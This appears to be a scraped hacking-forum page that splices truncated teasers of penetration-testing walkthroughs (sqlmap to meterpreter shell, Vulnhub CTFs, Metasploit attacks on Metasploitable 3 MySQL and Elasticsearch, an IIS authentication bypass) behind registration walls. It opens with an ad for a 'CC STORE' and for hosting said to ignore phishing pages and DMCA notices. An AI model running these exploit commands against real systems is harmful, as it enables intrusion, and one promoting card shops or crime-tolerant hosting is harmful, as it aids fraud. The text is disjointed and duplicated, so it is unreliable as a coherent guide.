Quote:The contents of this section are hidden for your group

Hello everyone! I'm glad to introduce you CC STORE -

[To see content please register here]

Here i bring to you a list of the most used web hosting services for pirates in 2020. Normally they ignore small things like dmca letters, phishing pages and any other light offenses. They operate in grey area which means that you can register and take advantage of the best underground scripts or normally called nulled scripts.

View the list

[To see content please register here]

Quote:The contents of this section are hidden for your group

This article is about how to use sqlmap for SQL injection to hack victim pc and gain shell access. Here I had performed SQL attack to gain three different types of the shell (meterpreter; command shell; VNC )
Requirement:

• Xampp/Wamp Server
  
• DVWA Lab
  
• Kali Linux: Burp suite, sqlmap tool
  

• Xampp/Wamp Server
  
• DVWA Lab
  
• Kali Linux: Burp suite, sqlmap tool
  

• DVWA Lab Set-Up
  
• Navigate to page Vulnerable to SQL injection
  
• Intercept the Browser Request (Burp-suite)
  
• Save Intercept data in a text file
  
• Extracting database name (SQLMAP)
  
• Spawning os-shell (SQLMAP)
  
• Explore file Stager in the browser
  
• Generating PHP backdoor (msfvenom)
  
• Run Multi-handler (Metasploit)
  
• Upload Msfvenom PHP Backdoor and execute
  
• Obtain Meterpreter Shell
  

• Requirement:
  
• Xampp/Wamp Server
  
• DVWA web vulnerable application
  
• Kali Linux: Burp suite, sqlmap tool
  

• After setting Network Proxy in the web browser then turn on burp suite.
  
• Click on the proxy in the menu bar then go for intercept is on the button.
  
• Come back and click on submit button in dvwa.
  
• Copy the intercepted data and save in a text file.
  

today we are going to solve another CTF challenge “FORTRESS” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as medium. Solving this lab will give you a good experience of web penetration testing.
You can download it from here:

[To see content please register here]

• Network Scanning (Nmap, netdiscover)
  
• Abusing HTTP service (Burp-suite)
  
• Generating Dictionary (crunch)
  
• Cracking Hash (john the ripper)
  
• SSH login
  
• Capture the 2nd flag and 3rd flag
  

[To see content please register here]

Target: Metasploitable 3
Attacker: Kali Linux
Let’s begin through scanning the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.1.14
From nmap result we can see port 8282 is open for apache tomcat

Open target IP on browser as 192.168.1.14:8282 Tomcat is running on port 8282, but requires credentials to access.

Now we are going to login with psexec using smb port 445
Psexec.exe
Psexec.exe is software that helps us to access other computers in a network. This software directly takes us to the shell of the remote PC with advantage of doing nothing manually. Download this software from –>

[To see content please register here]

• Network Scaning (Netdiscover, Nmap)
  
• Exploting Each level of File Uploading vulnbility
  
• Directory brute force attack (Dirb)
  
• Obtain Netcat session for each level.
  

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover MYSQL attack for which it requires open port.
Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.0.103
And from nmap result we can see port 3306 is open for mysql.

Let’s penetrate more inside it, use nessus for vulnerability analysis. Through nessus scanning result it shows that MYSQL account is not password protected .when you suffer more you will find that directory gets open without password. In image the output result making conclusion that root account does not have password moreover it dumps the list of database on remote server. It also gave the hint that an attack can lunch attack on database.

Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for mysql attack.

This module creates and enables a custom UDF (user defined function) on the target host via the SELECT … into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=<5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions.
msf > use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > set rhost 192.168.0.103
msf exploit(mysql_payload) > set rport 3306
msf exploit(mysql_payload) > exploit
Wonderful!!! Our meterpreter session is opened and you have got victim shell.
meterpreter> sysinfo



Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the victim PC. Type the following command on terminal in kali Linux to use aggressive scan.
nmap -p- -A 192.168.1.14

From the result of scan we found that port 3389 is open for remote desktop service and under open port 80 http server header is configured with Microsoft IIS 7.5
As we know port 3389 is badly affected with Dos attack moreover Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files).There is a password protected directory configured that has administrative asp scripts inside. An attacker requests the directory with: $i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials.

[To see content please register here]

Elastic search is a distributed REST search engine used in companies for analytic search. And so we will learn how to exploit our victim through it. Start off by nmap.
nmap –p- -A 192.168.1.8

Nmap shows a splendid result and in that result you can see that HHTP service going on 9200 which is using elasticseatch REST. Let’s search it exploit on google.

YES! We have an exploit for that. Let’s use it to our advantage.

To use this exploit go to Metasploit and type:
use exploit/multi/elasticsearch/script_mvel_rce
msf exploit (script_mvel_rce)>set rhost 192.168.1.8
msf exploit (script_mvel_rce)>set rport 9200
msf exploit (script_mvel_rce)>exploit


Metasploitable3 is a VM that is built from the ground up with a large number of security vulnerabilities. It is intended to be used as a target for testing exploits with Metasploit, hence to brush up our Metasploit skills.
We already know that our target is metasploitable 3 so there is no point to discover our target. So, let’s straight move up to nmap scan.
nmap –p- -sV 192.168.1.8

We can see that FTP port is open so we can exploit it and for doing so we need a dictionary file through which we can successfully attack. To make a dictionary file type the following command :
cewl

[To see content please register here]

• Network Scanning (Nmap)
  
• Recon (Nikto)
  
• Login Form Based SQL Injection
  
• Abusing WordPress
  
• Generate PHP Backdoor (Msfvenom)
  
• Upload and execute a backdoor
  
• Reverse connection (Metasploit)
  
• Take root access
  

Hello friends!! Today we are going to solve another CTF challenge “HackDay-Albania” which is presented by Vulnhub.com and designed by R-73eN for the beginners who want to practice OSCP lab challenges. You can download it from here:

[To see content please register here]

• Network Scanning (Nmap, Netdiscover)
  
• Use Robot.txt
  
• Apply SQL Injection
  
• Upload PHP reverse Shell
  
• Get netcat session
  
• Edit etc/passwd file
  
• Get Root access and capture the Flag
  

Nmap result shows that our target is running http on port no.8008. So, we fire up our browser targeting. The message in the box translates to- “if I am, I know where to go ”

[To see content please register here]